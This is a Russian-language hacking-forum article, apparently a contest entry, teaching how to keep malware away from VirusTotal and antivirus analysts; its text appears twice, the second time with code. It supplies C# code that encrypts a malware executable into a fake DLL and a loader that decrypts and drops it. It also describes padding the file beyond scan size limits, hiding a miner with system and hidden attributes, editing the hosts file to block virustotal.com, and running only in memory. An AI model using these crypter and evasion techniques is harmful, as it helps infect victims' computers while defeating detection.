Привет всем :)
Сегодня поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов. Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют.
По сути мы можем разделить нашу защиту от слива на два этапа : 1) до установки малваре на пк жертвы ; 2) после установки малваре на пк жертвы ;
Приступим к первому варианту. Здесь я увидел 2 метода :
1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный.
Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 :
Сам exe файлик
DllCreator
Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению :)
2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor.
Открываем нашу программу в Hex Editor
Идем в сам низ, где заканчиваются байти
Нажимаем Edit - > Insert bytes -> ставим много 999999
Сохраняем . Как мы видим размер увеличился - программа работает
:-):-):-)
Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы.
Теперь поговорим о методах защиты после установки малваре на пк жертвы :
1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или)
2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом
Минус в том, что могут понадобиться админ права.
3) Если файл будет существовать только в оперативной и не будет имеить физической основы на диске его не будет возможно слить на вт. Единственный минус файл будет работать только до перезагрузки пк.
Вот и все если у вас есть какие мысли на счет моей статьи прошу выложить их в комментариях буду рад прочитать)
Статья была написана специально для конкурса vlmi
Сегодня поговорим о методах защиты файла от попадания на Virus Total и в руки к другим антивирусов. Для начала давайте развеем миф о том, что лоадер спасает от слива на вт. Поверьте люди которые работают в команде вт и других антивирусов не так глупы , если им в руки попадет лоадер они полюбому его запустят ,увидят что он подкачивает какие-то файлы и тоже их проанализируют.
По сути мы можем разделить нашу защиту от слива на два этапа : 1) до установки малваре на пк жертвы ; 2) после установки малваре на пк жертвы ;
Приступим к первому варианту. Здесь я увидел 2 метода :
1) Первый и наиболее по моему мнению юзабельний это разделить ваш вирус на два файла например, на dll и exe . Это не должно быть только проверка на наличие длл'кы, в ней должно быть скрытая часть вируса. Например, в dllесть зашифрованные байты самого вируса, а exe их расшифровывает и запускает. Жертва не сможет слить на вт два файла сразу, а один без другого работать не будет. Шанс что ав соберут два файла вместе и запустят их действительно мизерный.
Ниже пример реализаци на c#,для шифрования будем использовать метод sha256 :
Сам exe файлик
Код:
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace ExePart
{
class Program
{
static string password = "shopozanyanime";
static void Main(string[] args)
{
if (File.Exists("file.dll"))
{
byte[] decrypted = decrypt(File.ReadAllBytes("file.dll"));
File.WriteAllBytes(Path.GetTempPath() + "\\nachvt.exe",decrypted);
}
}
public static byte[] decrypt(byte[] cipherBytes)
{
byte[] plainBytes;
Aes encryptor = Aes.Create();
encryptor.Mode = CipherMode.CBC;
SHA256 mySHA256 = SHA256Managed.Create();
encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));
encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };
MemoryStream memoryStream = new MemoryStream();
ICryptoTransform aesDecryptor = encryptor.CreateDecryptor();
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesDecryptor, CryptoStreamMode.Write);
string plainText = String.Empty;
try
{
cryptoStream.Write(cipherBytes, 0, cipherBytes.Length);
cryptoStream.FlushFinalBlock();
plainBytes = memoryStream.ToArray();
}
finally
{
memoryStream.Close();
cryptoStream.Close();
}
return plainBytes;
}
}
}
DllCreator
Код:
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace DllCreator
{
class Program
{
static string password = "shopozanyanime";
static void Main(string[] args)
{
byte[] start = File.ReadAllBytes("in.exe");
byte[] encrypted = encrypt(start);
File.WriteAllBytes("file.dll", encrypted);
}
public static byte[] encrypt(byte[] plainBytes)
{
Aes encryptor = Aes.Create();
encryptor.Mode = CipherMode.CBC;
SHA256 mySHA256 = SHA256Managed.Create();
encryptor.Key = mySHA256.ComputeHash(Encoding.ASCII.GetBytes(password));
encryptor.IV = new byte[16] { 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 };
MemoryStream memoryStream = new MemoryStream();
ICryptoTransform aesEncryptor = encryptor.CreateEncryptor();
CryptoStream cryptoStream = new CryptoStream(memoryStream, aesEncryptor, CryptoStreamMode.Write);
cryptoStream.Write(plainBytes, 0, plainBytes.Length);
cryptoStream.FlushFinalBlock();
byte[] cipherBytes = memoryStream.ToArray();
memoryStream.Close();
cryptoStream.Close();
return cipherBytes;
}
}
}
Да да да знаю можно было сделать лучше, копировать два файла в какую-то папку и использовать loadpe тогда все вообще будет круто,но я только показываю вам идею, даю вам пространство для размышлений по ее улучшению :)
2) Как мы знаем вт сканирует файлы до 256 мб . То есть нам нужно увеличить размер нашего вируса одним из способов. Например через Hex Editor.
Открываем нашу программу в Hex Editor
Идем в сам низ, где заканчиваются байти
Нажимаем Edit - > Insert bytes -> ставим много 999999
Сохраняем . Как мы видим размер увеличился - программа работает
:-):-):-)
Здесь заканчивается первый этап. Он больше подходит для людей вручную распространяют файлы.
Теперь поговорим о методах защиты после установки малваре на пк жертвы :
1) Элементарно использовать атрибуты hidden и system (именно и и , а не или или)
Код:
string path = @"C:\miner.exe";
File.SetAttributes(path , FileAttributes.System | FileAttributes.Hidden)
2) Можно просто заблокировать сайт вт и других антивирусов следующем кодом
Код:
String path =@"C:\Windows\System32\drivers\etc\hosts";
StreamWriter sw = new StreamWriter(path, true);
String sitetoblock = "\n 127.0.0.1 virustotal.com";
sw.Write(sitetoblock);
sw.Close();
3) Если файл будет существовать только в оперативной и не будет имеить физической основы на диске его не будет возможно слить на вт. Единственный минус файл будет работать только до перезагрузки пк.
Вот и все если у вас есть какие мысли на счет моей статьи прошу выложить их в комментариях буду рад прочитать)
Статья была написана специально для конкурса vlmi